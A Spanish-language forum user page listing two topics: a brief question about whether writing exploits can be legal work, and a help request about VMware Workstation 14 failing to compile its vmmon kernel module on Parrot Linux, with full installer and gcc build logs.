Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - deletethisaccount

#1
Hola, me preguntaba si se puede trabajar legalmente haciendo exploits, se puede?  ???
#2
Dudas y pedidos generales / Error vmware
Diciembre 16, 2017, 12:44:10 PM
Hola,tengo un problema en mi pc, uso parrot y cuando intento compilar vmware me da un error, es la vesion 14.0.0

el error es este:



Código: php
#uname -ar 
Linux parrot 4.14.0-parrot2-amd64 #1 SMP Parrot 4.14.2-1parrot2 (2017-12-05) x86_64 GNU/Linux


Código: php
vmware-12108.log

2017-12-16T09:38:21.835-06:00| vthread-1| I125: Log for VMware Workstation pid=12108 version=14.0.0 build=build-6661328 option=Release
2017-12-16T09:38:21.835-06:00| vthread-1| I125: The process is 64-bit.
2017-12-16T09:38:21.835-06:00| vthread-1| I125: Host codepage=UTF-8 encoding=UTF-8
2017-12-16T09:38:21.835-06:00| vthread-1| I125: Host is Linux 4.14.0-parrot2-amd64 Parrot 3.10 - Intruder
2017-12-16T09:38:21.835-06:00| vthread-1| I125: DictionaryLoad: Cannot open file "/usr/lib/vmware/settings": No such file or directory.
2017-12-16T09:38:21.835-06:00| vthread-1| I125: [msg.dictionary.load.openFailed] Cannot open file "/usr/lib/vmware/settings": No such file or directory.
2017-12-16T09:38:21.835-06:00| vthread-1| I125: PREF Optional preferences file not found at /usr/lib/vmware/settings. Using default values.
2017-12-16T09:38:21.835-06:00| vthread-1| I125: DictionaryLoad: Cannot open file "/home/dolphin/.vmware/config": No such file or directory.
2017-12-16T09:38:21.835-06:00| vthread-1| I125: [msg.dictionary.load.openFailed] Cannot open file "/home/dolphin/.vmware/config": No such file or directory.
2017-12-16T09:38:21.835-06:00| vthread-1| I125: PREF Optional preferences file not found at /home/dolphin/.vmware/config. Using default values.
2017-12-16T09:38:21.835-06:00| vthread-1| I125: DictionaryLoad: Cannot open file "/home/dolphin/.vmware/preferences": No such file or directory.
2017-12-16T09:38:21.835-06:00| vthread-1| I125: [msg.dictionary.load.openFailed] Cannot open file "/home/dolphin/.vmware/preferences": No such file or directory.
2017-12-16T09:38:21.835-06:00| vthread-1| I125: PREF Optional preferences file not found at /home/dolphin/.vmware/preferences. Using default values.
2017-12-16T09:38:22.021-06:00| vthread-1| W115: Logging to /tmp/vmware-root/vmware-12108.log
2017-12-16T09:38:22.142-06:00| vthread-1| I125: Obtaining info using the running kernel.
2017-12-16T09:38:22.143-06:00| vthread-1| I125: Created new pathsHash.
2017-12-16T09:38:22.143-06:00| vthread-1| I125: Setting header path for 4.14.0-parrot2-amd64 to "/lib/modules/4.14.0-parrot2-amd64/build/include".
2017-12-16T09:38:22.143-06:00| vthread-1| I125: Validating path "/lib/modules/4.14.0-parrot2-amd64/build/include" for kernel release "4.14.0-parrot2-amd64".
2017-12-16T09:38:22.143-06:00| vthread-1| I125: Failed to find /lib/modules/4.14.0-parrot2-amd64/build/include/linux/version.h
2017-12-16T09:38:22.143-06:00| vthread-1| I125: /lib/modules/4.14.0-parrot2-amd64/build/include/linux/version.h not found, looking for generated/uapi/linux/version.h instead.
2017-12-16T09:38:22.143-06:00| vthread-1| I125: using /usr/bin/gcc-7 for preprocess check
2017-12-16T09:38:22.161-06:00| vthread-1| I125: Preprocessed UTS_RELEASE, got value "4.14.0-parrot2-amd64".
2017-12-16T09:38:22.161-06:00| vthread-1| I125: The header path "/lib/modules/4.14.0-parrot2-amd64/build/include" for the kernel "4.14.0-parrot2-amd64" is valid.  Whoohoo!
2017-12-16T09:38:22.532-06:00| vthread-1| I125: found symbol version file /lib/modules/4.14.0-parrot2-amd64/build/Module.symvers
2017-12-16T09:38:22.532-06:00| vthread-1| I125: Reading symbol versions from /lib/modules/4.14.0-parrot2-amd64/build/Module.symvers.
2017-12-16T09:38:22.605-06:00| vthread-1| I125: Read 19842 symbol versions
2017-12-16T09:38:22.606-06:00| vthread-1| I125: Reading in info for the vmmon module.
2017-12-16T09:38:22.606-06:00| vthread-1| I125: Reading in info for the vmnet module.
2017-12-16T09:38:22.606-06:00| vthread-1| I125: Reading in info for the vmblock module.
2017-12-16T09:38:22.606-06:00| vthread-1| I125: Reading in info for the vmci module.
2017-12-16T09:38:22.606-06:00| vthread-1| I125: Reading in info for the vsock module.
2017-12-16T09:38:22.606-06:00| vthread-1| I125: Setting vsock to depend on vmci.
2017-12-16T09:38:22.606-06:00| vthread-1| I125: Invoking modinfo on "vmmon".
2017-12-16T09:38:22.611-06:00| vthread-1| I125: "/sbin/modinfo" exited with status 256.
2017-12-16T09:38:22.611-06:00| vthread-1| I125: Invoking modinfo on "vmnet".
2017-12-16T09:38:22.615-06:00| vthread-1| I125: "/sbin/modinfo" exited with status 256.
2017-12-16T09:38:22.615-06:00| vthread-1| I125: Invoking modinfo on "vmblock".
2017-12-16T09:38:22.621-06:00| vthread-1| I125: "/sbin/modinfo" exited with status 256.
2017-12-16T09:38:22.621-06:00| vthread-1| I125: Invoking modinfo on "vmci".
2017-12-16T09:38:22.626-06:00| vthread-1| I125: "/sbin/modinfo" exited with status 256.
2017-12-16T09:38:22.626-06:00| vthread-1| I125: Invoking modinfo on "vsock".
2017-12-16T09:38:22.632-06:00| vthread-1| I125: "/sbin/modinfo" exited with status 0.
2017-12-16T09:38:22.663-06:00| vthread-1| I125: to be installed: vmmon status: 0
2017-12-16T09:38:22.663-06:00| vthread-1| I125: to be installed: vmnet status: 0
2017-12-16T09:38:22.695-06:00| vthread-1| I125: Obtaining info using the running kernel.
2017-12-16T09:38:22.695-06:00| vthread-1| I125: Setting header path for 4.14.0-parrot2-amd64 to "/lib/modules/4.14.0-parrot2-amd64/build/include".
2017-12-16T09:38:22.695-06:00| vthread-1| I125: Validating path "/lib/modules/4.14.0-parrot2-amd64/build/include" for kernel release "4.14.0-parrot2-amd64".
2017-12-16T09:38:22.695-06:00| vthread-1| I125: Failed to find /lib/modules/4.14.0-parrot2-amd64/build/include/linux/version.h
2017-12-16T09:38:22.695-06:00| vthread-1| I125: /lib/modules/4.14.0-parrot2-amd64/build/include/linux/version.h not found, looking for generated/uapi/linux/version.h instead.
2017-12-16T09:38:22.695-06:00| vthread-1| I125: using /usr/bin/gcc-7 for preprocess check
2017-12-16T09:38:22.712-06:00| vthread-1| I125: Preprocessed UTS_RELEASE, got value "4.14.0-parrot2-amd64".
2017-12-16T09:38:22.712-06:00| vthread-1| I125: The header path "/lib/modules/4.14.0-parrot2-amd64/build/include" for the kernel "4.14.0-parrot2-amd64" is valid.  Whoohoo!
2017-12-16T09:38:23.097-06:00| vthread-1| I125: found symbol version file /lib/modules/4.14.0-parrot2-amd64/build/Module.symvers
2017-12-16T09:38:23.097-06:00| vthread-1| I125: Reading symbol versions from /lib/modules/4.14.0-parrot2-amd64/build/Module.symvers.
2017-12-16T09:38:23.169-06:00| vthread-1| I125: Read 19842 symbol versions
2017-12-16T09:38:23.169-06:00| vthread-1| I125: Kernel header path retrieved from FileEntry: /lib/modules/4.14.0-parrot2-amd64/build/include
2017-12-16T09:38:23.169-06:00| vthread-1| I125: Update kernel header path to /lib/modules/4.14.0-parrot2-amd64/build/include
2017-12-16T09:38:23.169-06:00| vthread-1| I125: Validating path "/lib/modules/4.14.0-parrot2-amd64/build/include" for kernel release "4.14.0-parrot2-amd64".
2017-12-16T09:38:23.169-06:00| vthread-1| I125: Failed to find /lib/modules/4.14.0-parrot2-amd64/build/include/linux/version.h
2017-12-16T09:38:23.169-06:00| vthread-1| I125: /lib/modules/4.14.0-parrot2-amd64/build/include/linux/version.h not found, looking for generated/uapi/linux/version.h instead.
2017-12-16T09:38:23.169-06:00| vthread-1| I125: using /usr/bin/gcc-7 for preprocess check
2017-12-16T09:38:23.187-06:00| vthread-1| I125: Preprocessed UTS_RELEASE, got value "4.14.0-parrot2-amd64".
2017-12-16T09:38:23.187-06:00| vthread-1| I125: The header path "/lib/modules/4.14.0-parrot2-amd64/build/include" for the kernel "4.14.0-parrot2-amd64" is valid.  Whoohoo!
2017-12-16T09:38:23.191-06:00| vthread-1| I125: Found compiler at "/usr/bin/gcc"
2017-12-16T09:38:23.198-06:00| vthread-1| I125: Got gcc version "7".
2017-12-16T09:38:23.198-06:00| vthread-1| I125: The GCC version matches the kernel GCC minor version like a glove.
2017-12-16T09:38:23.205-06:00| vthread-1| I125: Got gcc version "7".
2017-12-16T09:38:23.205-06:00| vthread-1| I125: The GCC version matches the kernel GCC minor version like a glove.
2017-12-16T09:38:23.209-06:00| vthread-1| I125: Trying to find a suitable PBM set for kernel "4.14.0-parrot2-amd64".
2017-12-16T09:38:23.209-06:00| vthread-1| I125: No matching PBM set was found for kernel "4.14.0-parrot2-amd64".
2017-12-16T09:38:23.209-06:00| vthread-1| I125: The GCC version matches the kernel GCC minor version like a glove.
2017-12-16T09:38:23.210-06:00| vthread-1| I125: Validating path "/lib/modules/4.14.0-parrot2-amd64/build/include" for kernel release "4.14.0-parrot2-amd64".
2017-12-16T09:38:23.210-06:00| vthread-1| I125: Failed to find /lib/modules/4.14.0-parrot2-amd64/build/include/linux/version.h
2017-12-16T09:38:23.210-06:00| vthread-1| I125: /lib/modules/4.14.0-parrot2-amd64/build/include/linux/version.h not found, looking for generated/uapi/linux/version.h instead.
2017-12-16T09:38:23.210-06:00| vthread-1| I125: using /usr/bin/gcc-7 for preprocess check
2017-12-16T09:38:23.228-06:00| vthread-1| I125: Preprocessed UTS_RELEASE, got value "4.14.0-parrot2-amd64".
2017-12-16T09:38:23.228-06:00| vthread-1| I125: The header path "/lib/modules/4.14.0-parrot2-amd64/build/include" for the kernel "4.14.0-parrot2-amd64" is valid.  Whoohoo!
2017-12-16T09:38:23.237-06:00| vthread-1| I125: The GCC version matches the kernel GCC minor version like a glove.
2017-12-16T09:38:23.237-06:00| vthread-1| I125: Validating path "/lib/modules/4.14.0-parrot2-amd64/build/include" for kernel release "4.14.0-parrot2-amd64".
2017-12-16T09:38:23.237-06:00| vthread-1| I125: Failed to find /lib/modules/4.14.0-parrot2-amd64/build/include/linux/version.h
2017-12-16T09:38:23.237-06:00| vthread-1| I125: /lib/modules/4.14.0-parrot2-amd64/build/include/linux/version.h not found, looking for generated/uapi/linux/version.h instead.
2017-12-16T09:38:23.237-06:00| vthread-1| I125: using /usr/bin/gcc-7 for preprocess check
2017-12-16T09:38:23.255-06:00| vthread-1| I125: Preprocessed UTS_RELEASE, got value "4.14.0-parrot2-amd64".
2017-12-16T09:38:23.255-06:00| vthread-1| I125: The header path "/lib/modules/4.14.0-parrot2-amd64/build/include" for the kernel "4.14.0-parrot2-amd64" is valid.  Whoohoo!
2017-12-16T09:38:23.255-06:00| vthread-1| I125: Using temp dir "/tmp".
2017-12-16T09:38:23.260-06:00| vthread-1| I125: Obtaining info using the running kernel.
2017-12-16T09:38:23.260-06:00| vthread-1| I125: Setting header path for 4.14.0-parrot2-amd64 to "/lib/modules/4.14.0-parrot2-amd64/build/include".
2017-12-16T09:38:23.260-06:00| vthread-1| I125: Validating path "/lib/modules/4.14.0-parrot2-amd64/build/include" for kernel release "4.14.0-parrot2-amd64".
2017-12-16T09:38:23.260-06:00| vthread-1| I125: Failed to find /lib/modules/4.14.0-parrot2-amd64/build/include/linux/version.h
2017-12-16T09:38:23.260-06:00| vthread-1| I125: /lib/modules/4.14.0-parrot2-amd64/build/include/linux/version.h not found, looking for generated/uapi/linux/version.h instead.
2017-12-16T09:38:23.260-06:00| vthread-1| I125: using /usr/bin/gcc-7 for preprocess check
2017-12-16T09:38:23.281-06:00| vthread-1| I125: Preprocessed UTS_RELEASE, got value "4.14.0-parrot2-amd64".
2017-12-16T09:38:23.281-06:00| vthread-1| I125: The header path "/lib/modules/4.14.0-parrot2-amd64/build/include" for the kernel "4.14.0-parrot2-amd64" is valid.  Whoohoo!
2017-12-16T09:38:23.649-06:00| vthread-1| I125: found symbol version file /lib/modules/4.14.0-parrot2-amd64/build/Module.symvers
2017-12-16T09:38:23.649-06:00| vthread-1| I125: Reading symbol versions from /lib/modules/4.14.0-parrot2-amd64/build/Module.symvers.
2017-12-16T09:38:23.720-06:00| vthread-1| I125: Read 19842 symbol versions
2017-12-16T09:38:23.720-06:00| vthread-1| I125: Invoking modinfo on "vmmon".
2017-12-16T09:38:23.725-06:00| vthread-1| I125: "/sbin/modinfo" exited with status 256.
2017-12-16T09:38:23.725-06:00| vthread-1| I125: Invoking modinfo on "vmnet".
2017-12-16T09:38:23.731-06:00| vthread-1| I125: "/sbin/modinfo" exited with status 256.
2017-12-16T09:38:24.236-06:00| vthread-1| I125: Setting destination path for vmmon to "/lib/modules/4.14.0-parrot2-amd64/misc/vmmon.ko".
2017-12-16T09:38:24.236-06:00| vthread-1| I125: Extracting the vmmon source from "/usr/lib/vmware/modules/source/vmmon.tar".
2017-12-16T09:38:24.277-06:00| vthread-1| I125: Successfully extracted the vmmon source.
2017-12-16T09:38:24.278-06:00| vthread-1| I125: Building module with command "/usr/bin/make -j4 -C /tmp/modconfig-R2GeEX/vmmon-only auto-build HEADER_DIR=/lib/modules/4.14.0-parrot2-amd64/build/include CC=/usr/bin/gcc IS_GCC_3=no"
2017-12-16T09:38:30.288-06:00| vthread-1| W115: Failed to build vmmon.  Failed to execute the build command.
2017-12-16T09:38:30.293-06:00| vthread-1| I125: Setting destination path for vmnet to "/lib/modules/4.14.0-parrot2-amd64/misc/vmnet.ko".
2017-12-16T09:38:30.293-06:00| vthread-1| I125: Extracting the vmnet source from "/usr/lib/vmware/modules/source/vmnet.tar".
2017-12-16T09:38:30.307-06:00| vthread-1| I125: Successfully extracted the vmnet source.
2017-12-16T09:38:30.307-06:00| vthread-1| I125: Building module with command "/usr/bin/make -j4 -C /tmp/modconfig-R2GeEX/vmnet-only auto-build HEADER_DIR=/lib/modules/4.14.0-parrot2-amd64/build/include CC=/usr/bin/gcc IS_GCC_3=no"
2017-12-16T09:38:44.117-06:00| vthread-1| I125: Successfully built vmnet.  Module is currently at "/tmp/modconfig-R2GeEX/vmnet.o".
2017-12-16T09:38:44.117-06:00| vthread-1| I125: Found the vmnet symvers file at "/tmp/modconfig-R2GeEX/vmnet-only/Module.symvers".
2017-12-16T09:38:44.117-06:00| vthread-1| I125: Installing vmnet from /tmp/modconfig-R2GeEX/vmnet.o to /lib/modules/4.14.0-parrot2-amd64/misc/vmnet.ko.
2017-12-16T09:38:44.127-06:00| vthread-1| I125: Registering file "/lib/modules/4.14.0-parrot2-amd64/misc/vmnet.ko".
2017-12-16T09:38:45.464-06:00| vthread-1| I125: "/usr/lib/vmware-installer/2.1.0/vmware-installer" exited with status 0.
2017-12-16T09:38:45.464-06:00| vthread-1| I125: Registering file "/usr/lib/vmware/symvers/vmnet-4.14.0-parrot2-amd64".
2017-12-16T09:38:46.296-06:00| vthread-1| I125: "/usr/lib/vmware-installer/2.1.0/vmware-installer" exited with status 0.


he visto que se puede solucionar con:
Código: php
vmware-modconfig --console --install-all


pero me da este error:
Código: php
[AppLoader] GLib does not have GSettings support.
Stopping VMware services:
   VMware Authentication Daemon                                        done
   VM communication interface socket family                            done
   Virtual machine communication interface                             done
   Virtual machine monitor                                             done
   Blocking file system                                                done
make: Entering directory '/tmp/modconfig-0hEIO0/vmmon-only'
Using kernel build system.
/usr/bin/make -C /lib/modules/4.14.0-parrot2-amd64/build/include/.. SUBDIRS=$PWD SRCROOT=$PWD/. \
  MODULEBUILDDIR= modules
make[1]: Entering directory '/usr/src/linux-headers-4.14.0-parrot2-amd64'
  CC [M]  /tmp/modconfig-0hEIO0/vmmon-only/linux/driverLog.o
  CC [M]  /tmp/modconfig-0hEIO0/vmmon-only/linux/driver.o
  CC [M]  /tmp/modconfig-0hEIO0/vmmon-only/linux/hostif.o
  CC [M]  /tmp/modconfig-0hEIO0/vmmon-only/common/memtrack.o
  CC [M]  /tmp/modconfig-0hEIO0/vmmon-only/common/apic.o
  CC [M]  /tmp/modconfig-0hEIO0/vmmon-only/common/vmx86.o
In file included from /tmp/modconfig-0hEIO0/vmmon-only/./include/vm_asm.h:43:0,
                 from /tmp/modconfig-0hEIO0/vmmon-only/linux/hostif.c:60:
/tmp/modconfig-0hEIO0/vmmon-only/./include/x86msr.h:115:0: warning: "MSR_MISC_FEATURES_ENABLES" redefined
#define MSR_MISC_FEATURES_ENABLES            0x140

In file included from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/msr.h:5:0,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/processor.h:21,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/cpufeature.h:5,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/thread_info.h:53,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/thread_info.h:38,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/preempt.h:7,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/preempt.h:81,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/rcupdate.h:40,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/rculist.h:11,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/pid.h:5,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/sched.h:14,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/binfmts.h:5,
                 from /tmp/modconfig-0hEIO0/vmmon-only/linux/hostif.c:32:
/usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/msr-index.h:572:0: note: this is the location of the previous definition
#define MSR_MISC_FEATURES_ENABLES 0x00000140

In file included from /tmp/modconfig-0hEIO0/vmmon-only/./include/vm_asm_x86.h:41:0,
                 from /tmp/modconfig-0hEIO0/vmmon-only/./include/vm_asm_x86_64.h:40,
                 from /tmp/modconfig-0hEIO0/vmmon-only/./include/vm_asm.h:46,
                 from /tmp/modconfig-0hEIO0/vmmon-only/linux/hostif.c:60:
/tmp/modconfig-0hEIO0/vmmon-only/./include/x86_basic_defs.h:78:0: warning: "CR3_PCID_MASK" redefined
#define CR3_PCID_MASK  0xFFF

In file included from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/irqflags.h:5:0,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/irqflags.h:16,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/rcupdate.h:39,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/rculist.h:11,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/pid.h:5,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/sched.h:14,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/binfmts.h:5,
                 from /tmp/modconfig-0hEIO0/vmmon-only/linux/hostif.c:32:
/usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/processor-flags.h:39:0: note: this is the location of the previous definition
#define CR3_PCID_MASK 0xFFFull

In file included from /tmp/modconfig-0hEIO0/vmmon-only/./common/vmx86.h:32:0,
                 from /tmp/modconfig-0hEIO0/vmmon-only/linux/driver.h:32,
                 from /tmp/modconfig-0hEIO0/vmmon-only/linux/driver.c:47:
/tmp/modconfig-0hEIO0/vmmon-only/./include/x86msr.h:115:0: warning: "MSR_MISC_FEATURES_ENABLES" redefined
#define MSR_MISC_FEATURES_ENABLES            0x140

In file included from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/msr.h:5:0,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/processor.h:21,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/cpufeature.h:5,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/thread_info.h:53,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/thread_info.h:38,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/preempt.h:7,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/preempt.h:81,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/spinlock.h:51,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/wait.h:9,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/wait_bit.h:8,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/fs.h:6,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/highmem.h:5,
                 from /tmp/modconfig-0hEIO0/vmmon-only/linux/driver.c:25:
/usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/msr-index.h:572:0: note: this is the location of the previous definition
#define MSR_MISC_FEATURES_ENABLES 0x00000140

In file included from /tmp/modconfig-0hEIO0/vmmon-only/./include/vm_asm_x86.h:41:0,
                 from /tmp/modconfig-0hEIO0/vmmon-only/./include/vm_asm_x86_64.h:40,
                 from /tmp/modconfig-0hEIO0/vmmon-only/./include/vm_asm.h:46,
                 from /tmp/modconfig-0hEIO0/vmmon-only/linux/driver.c:49:
/tmp/modconfig-0hEIO0/vmmon-only/./include/x86_basic_defs.h:78:0: warning: "CR3_PCID_MASK" redefined
#define CR3_PCID_MASK  0xFFF

In file included from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/processor.h:5:0,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/cpufeature.h:5,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/thread_info.h:53,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/thread_info.h:38,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/preempt.h:7,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/preempt.h:81,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/spinlock.h:51,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/wait.h:9,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/wait_bit.h:8,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/fs.h:6,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/highmem.h:5,
                 from /tmp/modconfig-0hEIO0/vmmon-only/linux/driver.c:25:
/usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/processor-flags.h:39:0: note: this is the location of the previous definition
#define CR3_PCID_MASK 0xFFFull

  CC [M]  /tmp/modconfig-0hEIO0/vmmon-only/common/cpuid.o
/tmp/modconfig-0hEIO0/vmmon-only/linux/hostif.c: In function 'HostIF_EstimateLockedPageLimit':
/tmp/modconfig-0hEIO0/vmmon-only/linux/hostif.c:1519:31: error: implicit declaration of function 'global_page_state'; did you mean 'global_numa_state'? [-Werror=implicit-function-declaration]
    unsigned int lockedPages = global_page_state(NR_PAGETABLE) +
                               ^~~~~~~~~~~~~~~~~
                               global_numa_state
In file included from /tmp/modconfig-0hEIO0/vmmon-only/common/vmx86.h:32:0,
                 from /tmp/modconfig-0hEIO0/vmmon-only/common/vmx86.c:43:
/tmp/modconfig-0hEIO0/vmmon-only/./include/x86msr.h:115:0: warning: "MSR_MISC_FEATURES_ENABLES" redefined
#define MSR_MISC_FEATURES_ENABLES            0x140

In file included from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/msr.h:5:0,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/processor.h:21,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/cpufeature.h:5,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/thread_info.h:53,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/thread_info.h:38,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/preempt.h:7,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/preempt.h:81,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/rcupdate.h:40,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/rculist.h:11,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/pid.h:5,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/sched.h:14,
                 from /tmp/modconfig-0hEIO0/vmmon-only/common/vmx86.c:31:
/usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/msr-index.h:572:0: note: this is the location of the previous definition
#define MSR_MISC_FEATURES_ENABLES 0x00000140

/tmp/modconfig-0hEIO0/vmmon-only/linux/driver.c:981:1: warning: always_inline function might not be inlinable [-Wattributes]
LinuxDriverSyncReadTSCs(uint64 *delta) // OUT: TSC max - TSC min
^~~~~~~~~~~~~~~~~~~~~~~
In file included from /tmp/modconfig-0hEIO0/vmmon-only/./include/vm_asm_x86.h:41:0,
                 from /tmp/modconfig-0hEIO0/vmmon-only/./include/vm_asm_x86_64.h:40,
                 from /tmp/modconfig-0hEIO0/vmmon-only/./include/vm_asm.h:46,
                 from /tmp/modconfig-0hEIO0/vmmon-only/common/vmx86.c:46:
/tmp/modconfig-0hEIO0/vmmon-only/./include/x86_basic_defs.h:78:0: warning: "CR3_PCID_MASK" redefined
#define CR3_PCID_MASK  0xFFF

In file included from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/irqflags.h:5:0,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/irqflags.h:16,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/rcupdate.h:39,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/rculist.h:11,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/pid.h:5,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/sched.h:14,
                 from /tmp/modconfig-0hEIO0/vmmon-only/common/vmx86.c:31:
/usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/processor-flags.h:39:0: note: this is the location of the previous definition
#define CR3_PCID_MASK 0xFFFull

  CC [M]  /tmp/modconfig-0hEIO0/vmmon-only/common/task.o
  CC [M]  /tmp/modconfig-0hEIO0/vmmon-only/common/hashFunc.o
In file included from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/processor.h:5:0,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/cpufeature.h:5,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/thread_info.h:53,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/thread_info.h:38,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/preempt.h:7,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/preempt.h:81,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/spinlock.h:51,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/mmu.h:5,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/desc.h:7,
                 from /tmp/modconfig-0hEIO0/vmmon-only/common/task.c:70:
/usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/processor-flags.h:39:0: warning: "CR3_PCID_MASK" redefined
#define CR3_PCID_MASK 0xFFFull

In file included from /tmp/modconfig-0hEIO0/vmmon-only/./include/vm_asm_x86.h:41:0,
                 from /tmp/modconfig-0hEIO0/vmmon-only/./include/vm_asm_x86_64.h:40,
                 from /tmp/modconfig-0hEIO0/vmmon-only/./include/vm_asm.h:46,
                 from /tmp/modconfig-0hEIO0/vmmon-only/common/task.c:53:
/tmp/modconfig-0hEIO0/vmmon-only/./include/x86_basic_defs.h:78:0: note: this is the location of the previous definition
#define CR3_PCID_MASK  0xFFF

  CC [M]  /tmp/modconfig-0hEIO0/vmmon-only/common/comport.o
In file included from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/msr.h:5:0,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/processor.h:21,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/cpufeature.h:5,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/thread_info.h:53,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/thread_info.h:38,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/preempt.h:7,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/preempt.h:81,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/spinlock.h:51,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/mmu.h:5,
                 from /usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/desc.h:7,
                 from /tmp/modconfig-0hEIO0/vmmon-only/common/task.c:70:
/usr/src/linux-headers-4.14.0-parrot2-common/arch/x86/include/asm/msr-index.h:572:0: warning: "MSR_MISC_FEATURES_ENABLES" redefined
#define MSR_MISC_FEATURES_ENABLES 0x00000140

In file included from /tmp/modconfig-0hEIO0/vmmon-only/common/vmx86.h:32:0,
                 from /tmp/modconfig-0hEIO0/vmmon-only/common/task.c:51:
/tmp/modconfig-0hEIO0/vmmon-only/./include/x86msr.h:115:0: note: this is the location of the previous definition
#define MSR_MISC_FEATURES_ENABLES            0x140

cc1: some warnings being treated as errors
/usr/src/linux-headers-4.14.0-parrot2-common/scripts/Makefile.build:319: recipe for target '/tmp/modconfig-0hEIO0/vmmon-only/linux/hostif.o' failed
make[4]: *** [/tmp/modconfig-0hEIO0/vmmon-only/linux/hostif.o] Error 1
make[4]: *** Waiting for unfinished jobs....
